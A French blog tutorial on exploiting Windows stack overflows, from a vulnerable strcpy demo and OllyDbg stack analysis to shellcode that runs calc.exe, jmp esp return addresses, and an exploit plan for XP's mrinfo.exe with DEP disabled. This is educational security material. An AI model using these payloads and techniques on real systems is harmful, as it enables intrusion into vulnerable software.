Bonjour à tous, me revoilà après 2 semaines de travail acharné ( oh ! ).

J'ai choisis de traiter un domaine plutôt classique et bien documenté, celui des stacks overflows sur un système windows.

Un beau matin, je me suis réveillé en ayant pleins de question sur la pile et les dépassements de tampons ... J’ai donc décidé d'entamer un petit article là dessus.

Ce domaine ne m'est pas complètement inconnu, il m'est arrivé de passer un peu de temps sur des wargames, et donc d'exploiter des cas classiques de buffer overflow sous système unix. Seulement j'exploitais sans réellement comprendre le fin fond de la chose. Depuis, j’ai mieux compris les choses après de nombreux tests sur mon système.



Conseils préliminaires :

- Je vous conseil aussi l'utilisation de masm32 pour compiler les shellcodes, car mes exemples ont été développé avec celui-ci

Au passage, quelques notions d'asm seront requis, je pars du principe que vous manipulez un minimum ce language. Pour info, j’ai effectué mes compilations directement avec gcc 3.4.2 (mingw-special).

I] Préparons-nous .

Nous voilà partis, sachez que je mets a disposition une archive contenant l'ensemble des codes et sources, tous cela permettant aux personnes ne pouvant compiler les binaires pour raisons X ou Y de suivre l'article.

Nous pouvons commencer à parler vulnérabilité. D’abord, pour illustrer ce petit paper on va se baser sur un code vulnérable. Celui-ci va créer un tableau de 10 caractères, nous allons ensuite y copier le contenu du premier argument passé au programme. Pour cela on utilise la fonction strcpy de cette façon :

function(argv[1]);
void function(char* buf)
{
char ownz[10];
strcpy(ownz,buf);
}

Je tiens a préciser que j'ai compiler mon code avec la ligne suivante, une compilation classique : 

%gcc% test.c -o test.exe

On pourrait se demander ce qui se passe si nous allons mettre beaucoup plus de 10caractères dans l'argument ? Il va se produire ce qu'on appelle un dépassement de tampon de l'anglais buffer Overflow. Dans notre cas le buffer étant dans la pile il s'agit d'un stack overflow. Tentons notre chance : 

test.exe "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

Et voilà la superbe fenêtre de dialogue windows qui nous annonce que notre programme a planté.

La curiosité nous envahit, place à la seconde partie :).


II] Pop d4 world.

Nous allons maintenant nous intéréssé a ce qui se passe au niveau de la pile, du code asm, enfin bon nous sortons notre bon vieux ollyDbg :).



004012D7 /$ 55 PUSH EBP
004012D8 |. 89E5 MOV EBP,ESP
004012DA |. 83EC 18 SUB ESP,18
004012DD |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
004012E0 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012E4 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] ; |
004012E7 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012EA |. E8 21050000 CALL  ; \strcpy
004012EF |. C9 LEAVE
004012F0 \. C3 RETN



Voici la fonction vulnérable en question. On peut introduire à ce moment la notion de prologue et d’épilogue. Je m'explique, les instructions vont être exécutées les une après les autres de haut en bas bien sûr. Lorsque le processeur va rencontrer l'instruct call, par exemple : 

call 0x11223344

Il va enfaite mettre sur la stack la valeur du registre EIP (celui qui pointe sur la prochaine instruction à exécuter), puis jumper dessus. En clair nous avons :

push EIP
JMP 0x11223344

Nous pouvons schématiser la pile comme cela quand nous serons en 004012D7, c'est à dire au début de notre fonction.



| |
+----------------+
| Pointeur |
| sur une string |
+----------------+
| Sauvegarde |
| de EIP | ESP
+----------------+

Il faut savoir que la structure de la pile est une LiFo (Last In First Out), c'est à dire que la dernière donnée à être empilé va être la première à être dépilée, je trouve l'analogie de la pile d'assiette assez réaliste. Imaginez une pile d'assiette, vous empilez des assiettes, la dernière empilé sera la première dépilé bien sur.



A présent le programme suit son cours jusqu'au RETN. Une fois que notre fonction se termine l’exécution doit revenir dans le code appelant, pour cela l'instruction RETN est enfaite un simple :

pop EIP

Mais c'est ici qu'un problème se pose, en effet la fonction va elle aussi utiliser la pile, résultat le registre ESP ne pointera plus sur la sauvegarde d'EIP faites par le call. Pour remédier à ca, nous utilisons ce que nous appelons le prologue. On appel ainsi la suite d'instruction suivante :

004012D7 /$ 55 PUSH EBP
004012D8 |. 89E5 MOV EBP,ESP

On empile la valeur d'EBP, nous donnons ensuite à EBP la valeur de ESP qui pointe sur la sauvegarde d'EBP. Nous allons ensuite allouer de la mémoire dans la pile grâce a l'instruction :


004012DA |. 83EC 18 SUB ESP,18


Nous avons :



 | |
+----------------+
| Pointeur |
| sur une string |
+----------------+
| Sauvegarde |
| de EIP |
+----------------+
| Sauvegarde |
| de EBP | EBP = ancien ESP pointe ici
+----------------+
| |
|Notre Allocation|
| |
| |
+----------------+ ESP

A la fin de la fonction, l'épilogue, lui va se charger de redonner la valeur au registre leur valeur avant que la fonction soit appelé. On rencontre alors l'instruction LEAVE qui est enfaite la suite d'instruction suivante :

MOV esp,ebp
POP ebp

Nous retrouvons donc notre valeur de l'ancien ESP dans qui était contenus dans EBP, et nous dépilons la sauvegarde d'EBP dans EBP bien sur. L'instruction RETN ce charge de dépiler la sauvegarde d'EIP dans EIP.

C'est là que la faille aparait!

Si nous remplissons notre tampon en le faisant déborder, nous réécrivons la valeur de la sauvegarde de EBP et la valeur de la sauvegarde de EIP!

Au moment où on va dépiler EIP, elle sera écrasée par notre surplus de donnée, c'est comme cela qu'on peut contrôler le flux d'exécution de notre programme.

Entrons dans le feux de l'action.


III] Play with your st4ck, jumping is not a crime.


Voilà après avoir identifié la vulnérabilité nous allons pouvoir les exploitations possibles et évidentes. Je vous propose donc dans cette partie de mener a bien l'exploitation d'un stack overflow avec pour cible le fichier test.exe présent dans l'archive.

Nous avons vu dans la partie précédente les conséquences que peut entrainer un dépassement de tampon, un control du registre EIP, ou autrement dit un total control sur le flux d'exécution de notre programme.


C'est à ce moment là que l'on va commencer à parler de shellcode. On veut que le registre EIP pointe sur du code exécutable. Un shellcode est donc une suite hexadécimale correspondant au opcodes des instructions à exécuter. Par exemple, pour l'instruction asm : 

xor eax,eax

Nous avons les opcodes 33 et C0.

Mais le shellcode doit répondre à des contraintes. Il doit entre autre ne pas contenir d'octet null (0x00), car le shellcode est classiquement placé dans un tableau de caractères le null byte est donc à bannir car la fin d'une chaine de caractère est caractérisé par le null byte, notre shellcode serait donc 'coupé' en deux, et non exécuté dans son intégralité.

Voici à quoi peux ressembler un shellcode (trouvé sur milw0rm ):

"\xEB\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61"
"\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF"
"\xF1\x34\xA5\x95\x95\x95\xAB\x53\xD5\x97\x95"
"\x56\x68\x61\x63\x6B\xCD"



Bon maintenant que vous êtes sensibilisé aux shellcodes je vais pouvoir vous présentez trois petites exploitations pour tentez de vous faire assimiler le principe



Nous allons commencer par l'exploitation la plus réaliste, et la plus « compliqué ».

Tous d'abord trouvons le nombre d'octet a envoyé pour faire planté le programme.

test.exe "aaaaaaaaaaaaaaaaaaaaBCDE"


Super ! On voit que l'offset ou le programme plante est 0x45444343 autrement dit BCDE en little endian soit EDCB.

Nous avons donc 20octets de manœuvre ... Pas beaucoup nous allons donc procéder de la sorte :

['A' x 20][jmp esp][shellcode]

Je m'explique :).

Les 'A' vont permettre de déborder de notre buffer, et jmp esp qu'est ce que c'est ?!

En effet lorsqu’EIP va être dépilé la suite de l'argument sera présent sur la pile, notre shellcode donc se doit de sauter dessus pour pouvoir l'exécuter.

S pose un premier problème, on le trouve où notre jmp esp?

Pour ma part j'ai choisis de mener une petite recheche du coté des dlls chargées par tous les processus à savoir ntdll.dll ! Il suffit de rechercher l'instruction jmp esp dans la library et de récupéré l'adresse. On lance ollyDbg et on utilise la fonction de recherche sur la suite hexadécimal suivante :

FFE4

Nous tombons sur :

7C951EEC . E8 FFE4FEFF CALL ntdll.DbgPrint

L'adresse 7C951EEC pointe sur l'opcode E8, nous ajoutons donc 1 à cette adresse pour atterir sur notre FFE4 : 7C951EEC + 1 = 7C951EED.Utilisez la fonction goto de olly et mettez 7C951EED :

7C951EED ? FFE4 JMP ESP

Niquel ! Nous avons donc notre adresse de retour, nous pouvons donc compléter notre plan d'attaque : 

[aaaaaaaaaaaaaaaaaaaa][í#•|][shellcode]

Je ne pense pas que les caractères ascii, conversion de l'adresse de retour à savoir 0xED1E957C ( little endian) ne passe correctement par le biais du blog, utilisé plutôt les exploits fournis dans l'archive prévu a cet effet. Pour cet exemple j'ai utilisé un shellcode dit statique (les adresses des fonctions utilisées sont hardcodés) pour gagner de la place : 


 char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\xBF\xB5\x15\x86\x7C" //mov edi,7C8615B5 l'adresse de WinExec est hardcodé, remplacer si necessaire.
 "\xE8\xFF\xFF\xFF\xFF\xCC\x44\x58\x83"
 "\xC0\x0B\x6A\x05\x50\xFF\xD7"
 "C:\\WINDOWS\\system32\\calc.exe"; //Merci a rAsM pour son shellcode tout petit :)).

Testons l'exploitation, quelques petits screenshots :







Une question peut être ? Pourquoi ne pas avoir moi même coder ce shellcode ?!

Hum tout simplement parce que dans mon étude j'ai voulu exploiter sans savoir coder de shellcode, je pense que l'aspect exploitation est plutôt encourageant pour ensuite coder ses propres shellcodes.

Je tenterais de vous présenter le coding de shellcode basique et statique plus bas. Mais pour le moment place au fun :). Notre shellcode est bien exécuté, notre calc.exe apparaît !



Bon je vous présente maintenant en quelques mot un second plan d'attaque, imaginons que notre shellcode est trop grand pour être mis sur la stack, nous serions un peu bloqué avec notre ancien plan d'attaque, seulement je vous propose un petit « trick » pour éviter cela.

Nous allons utiliser le second argument comme stockage de nos instructions à exécuter. J'ai choisis d'éxécuter une simple INT 3 soit l'opcode 0xCC.

 /--------------------Argv[1]----------------\ /Argv[2]\
[aaaaaaaaaaaaaaaaaaaa][í#•|][jmp sur l'argv[2]] [ 0xCC ]

Sauf que comment on retrouve notre chaine dans le second argument ?!

Justement je suis partit du principe qu'elle devait pas être loin de la première, je me suis donc armé de OllyDbg et j'ai tout simplement cherché la chaine après le première argument.A présent il faut sauter de la stack a cette adresse, pour cela on peut utiliser une feature de OllyDbg très intéressante, c'est à dire que quand nous allons éditer le code asm, et que nous mettons un :

JMP 0x11223344

Il va calculer lui même le décalage entre l'adresse de l'instruction que vous éditez et l'adresse où vous voulez qu'il saute, comme cela ça nous évite de faire des opérations à la main :).

Je vous propose un screenshot :




Nous avons donc l'adresse 003E24C7 + 12 caractères, donc 003E24C7 + C = 003E24D3.

Nous allons créer notre jump où le ESP pointera lorsque notre JMP ESP sera exécuté, pour nous en 00FF2270.

Il est important de calculer cette offset a partir de l'instruction qui va sauter sur l'argv[2] si vous calculez l'offset autres part il sera forcément faux.





Super on a tous ce qu'il faut, on récupère la suite hexadécimale bien sur pour l'intégrer dans notre exploit : 

E9 5E 25 1B 00

On complète notre plan d'attaque


[aaaaaaaaaaaaaaaaaaaa][í#•|][\xE9\x5E\x25\x1B\x00] [\xCC]

Oh mais un null byte !!!

Ne vous inquiétez pas il est placé en fin de chaine de l'argument premier, l'exécution va donc bien se produire :)).

On sort OllyDbg, on lance le test :





Et voilà un exemple d'une seconde exploitation.

Je voulais vous prévenir aussi que j'ai l'impression que windows va vérifié la taille des arguments passé, car il me semblait que lors de mes tests si je remplaçais l'INT 3 par un shellcode voisin des 300bytes, une partie du shellcode était manquant, donc à vous de voir :).



Pis pour la dernière exploitation, un truc vraiment histoire de dire, car ceci est un cas completement fictif, imaginer une fonction dans votre exécutable qui n'est pas appelé, overflow et appelons là.

Nous avons donc un plan d'attaque quelque peu différent qu'avant :

[aaaaaaaaaaaaaaaaaaaa][ret sur la fonction]

Et pour trouver l'adresse de cette fonction rien de bien compliquer, ollyDbg est encore là!







Nous voilà arriver à la fin de cette partie :).

Maintenant que vous vous êtes amusez à exploiter tout cela il est temps d'avoir quelques bases concernant le coding de shellcode statique.



IV] Write your own shellcodes.



Nous y voilà, afin d'exploiter au mieux un dépassement de tampon il est préférable je pense de pouvoir éxécuter des actions de nos goûts.

Il existe plusieurs types de shellcodes, les shellcodes dit statique les plus petits, les shellcodes dit générique, et les shellcodes polymorphiques.

Cependant ont trouve des shellcodes générique polymorphiques, le polymorphisme n'est qu'une évolution des shellcodes qui a été créér dans le but de bypasser les protections mises en place par les IDS par exemple.Ceux ci ne seront pas abordé dans cet article.



On appel shellcode statique, un shellcode qui va être utilisable sur une machine, on ne pourra (sauf execption) l'utilisé autre part : il est statique.

Les adresses des fonctions sont hardcodé au seins du shellcode.

Bon alors LA contrainte c'est d'éviter les nulls bytes !

Votre rôle est donc de faire de l'asm, en utilisant des instructions « égale » de pars leur action, mais avec des opcodes différents, petit exemple : 

mov eax,0
xor eax,eax

C'est deux instruction font la même chose, mais possède des opcodes différents.

Les tricks sont multiples, et puis libre à votre immagination pour inventer en inventer.

En ce qui concerne les chaines de caractères je n'ai pas expérimenter de nombreuse technique, si ce n'est que de pusher dword par dword la chaine sur la pile, pas très pratique quand c'est une grande chaine..:)

Donc si vous avez des techniques intéréssante sans trop de difficultées a mettre en place (histoire de conserver une taille assez petite) je suis preneur.

J'ai aussi entendu parler du fameux Call/pop, déclaré sa chaine de variable après un call, de tel sorte a qu'un pointeur sur celle-ci soit empilé lors du call, qu'on dépilerai dans le call, seulement je me retrouvais avec des nulls bytes dans le call..:)

Tout cela pour vos proposer deux petits shellcodes statiques non optimisés codé par mes soins avec masm32.



Shellcode qui va loader user32.dll, puis faire une MessageBox() et enfin un ExitProcess (comme les adresses sont harcodées pour MON système, il faudra surrement la changer).

On peut donc exploiter notre précédent code avec notre shellcode, c'est si appréciable :))) :





Et puis un petit dernier qui va appeler un WinExec(), et enfin un ExitProcess.





Il existe aussi beaucoup de générateur de shellcode, je pense à celui de metasploit qui est très bien, on peut créer des shellcodes alphanumériques, restrictionner l'utilisation d'un opcode et j'en passe, à tester :).

Voilà en ce qui concerne les shellcodes statiques.

Mais à présent ..un cas concret ça vous dis ?!



V] Check and pwnz d4 st4ckz.



Malgrès la présence de concret dans ce petit papier, un cas réel est toujours apprécier :).

Je vous propose donc de vous amuser sur le binaire mrinfo.exe normalement présent sur un système windows xp ( aucune idée pour les autres versions ).

La faille se situe donc lors du traitement de la chaine passé en argument avec l'option -i.

J'ai donc élaborer le petit plan d'attaque :


[56A][ret][4 a][shellcode]

Je commence donc a charger l'executable dans OllyDbg, je trace un peu pis je tombe sur la routine vulnérable, le monsieur a réaliser apparemment une routine perso qui copie octet par octet la chaine de caractères en argument dans un autre buffer, et là la taille est encore pas vérifié, résultat rewrite de la stack.:)

Pour vous laissez chercher un peu je vous donne l'adresse du début de la routine chez moi, tout commence en 0100183A.

Un peu d'illustration, je vous propose un petit screenshot qui montre le début du remplissement de la stack, à partir de celui-ci on peut determiner le nombre de lettre a envoyé pour écrire sur la sauvegarde d'EIP.





Je vous file un petit screenshot d'une exploitation faite avec mon shellcode WinExec :





Et je vous met dans l'archive l'exploit associé avec les sources, afin de pouvoir comprendre/tester la faille :).



NB : Cette exploitation a est réalisable a priori en désactivant une sécurité mise en place par le système windows sur les binaires natif windows.

Pour cela rendez vous dans le Panneau De Configuration -> Système -> Onglet Avancé -> Dans l'intitulé Perfomances : Paramètres -> Onglet Prévention de l'éxécution des Données -> cochez « Activez la prévention d'éxécution des données pour tous les programmes et services, sauf ceux que je sélectionne : » vous cochez donc « Information multidestinataire ».

Reboot and sploit :).



Et voilà, l'article touche à sa fin en espérant que je vous aurais appris quelques choses.

En tous les cas sa rédaction ma permisde mettre au clair la vulnérabilité et les actions qui s'y apparentes.

Voici le temps des liens, pour commencer les sources onlines :

-Vuln.c

-Exploit1.c

-Exploit2.c

-Exploit3.c

-ShellcodeMBHardcoder.asm

-ShellcodeWinExec.asm

-ExploitMrInfo.c

-Pack.zip (09c187bda60d10b1f8835999e1d76930 *StackOverflow - 0vercl0k.blogspot.com.zip)



Le pack contient les sources, les exploits compilés, les shellcodes, tous ce qui a été utilisé dans l'article donc ;).Have fun.

Cya.